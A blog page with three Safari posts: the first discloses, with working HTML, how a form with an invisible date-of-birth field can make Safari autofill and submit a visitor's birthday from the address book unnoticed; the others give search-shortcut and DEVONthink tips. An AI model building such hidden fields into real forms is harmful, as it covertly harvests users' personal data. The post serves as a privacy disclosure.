Autofill birthday fields in Safari

Posted by Patrice Neff Thu, 09 Apr 2009

The Safari web browser can autofill form fields from your personal address book card. I’ve had very good experiences with this feature. But today I was creeped out a little on my brightkite profile as I saw my birthday even though I had not provided it anywhere. It took me a moment to realize that Safari had autofilled my birthday.

So I quickly came up with an evil idea. Would it be possible to abuse that feature to automatically collect birthdays from users on say a signup form?

And yes, it’s possible. Save the following HTML on your disk:

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>
            Settings - Profile - brightkite.com
        </title>
    </head>
    <body>
        <form action="http://localhost/" method="get">
            <label for="fullname">Full name</label>
            <input id="fullname" name="fullname" />
            <input type="submit" />
            <input id="street" name="street" />
            <input id="dob" name="dob" style="opacity:0" />
        </form>
    </body>
</html>

It defines a form with the three fields full name, street and birthday. The birthday field is hidden – so the user has no idea that it will be submitted as well. The street field is just in there for easy checking if the autocompletion is working.

Then open the form in Safari (I tried on Version 4 Public Beta 5528.16), enter your full name in the first field and use the tab key to activate the submit button. If everything worked, you’ll see the street field autofilled as you’d expect. But when you submit, the birthday is submitted as well – if you have it stored in your address book.

Browser shortcuts with multiple keywords

Posted by Patrice Neff Mon, 23 Apr 2007

I have written about quick search in Firefox before. The same thing is possible in Safari with Saft – a must-have plugin if you actually want to use Safari.

There is an additional feature there which Firefox doesn’t have: you can enter multiple search terms with a quick search. A good example where you want that is SBB.

Right-click in any of the form fields there and select the option “Add as Saft shortcut…”. Then give it a good name and shortcut. The URL is already prefilled. For the SBB example it’s


 http://sbb.ch/ {REQ0JourneyStopsS0G=%@, REQ0JourneyStopsS0A=7, REQ0JourneyStopsZ0G=%@, REQ0JourneyStopsZ0A=7, REQ0JourneyStops1.0G=%@, REQ0JourneyDate=%@, REQ0JourneyTime=%@}

There are five different form options here. Cut out the ones you don’t need. In my case I ended up with the from and to:


 http://sbb.ch/ {REQ0JourneyStopsS0G=%@, REQ0JourneyStopsZ0G=%@}

Now to start a search just enter “sbb st. gallen, winterthur” in the URL and it will give you the current connections from “st. gallen” to “winterthur”. Use the coma to separate the different search terms.

Copy web site to DEVONthink

Posted by Patrice Neff Sat, 21 Apr 2007

I’ve been using DEVONthink Pro for writing notes and cataloging my know-how for a year now. I’m trying to copy news I read and want to keep there.

Using the internal web browser of DEVONthink it’s possible to copy web sites as rich text into DEVONthink. But it’s a hassle to copy first the web site link into DEVONthink, then open it, and from there create the rich text note. So I’ve always wanted to do that from Safari directly.

Lo and behold, it’s easy to do it from Safari: In the services menu (which I so far almost never used) there is a DEVONthink pro entry. Just select some part of the current web site then select Safari->Services->DEVONthink Pro->Take Rich Note. The short cut is Apple+).

It’s even possible to add the selection to the currently selected document in DEVONthink using Append Rich Note.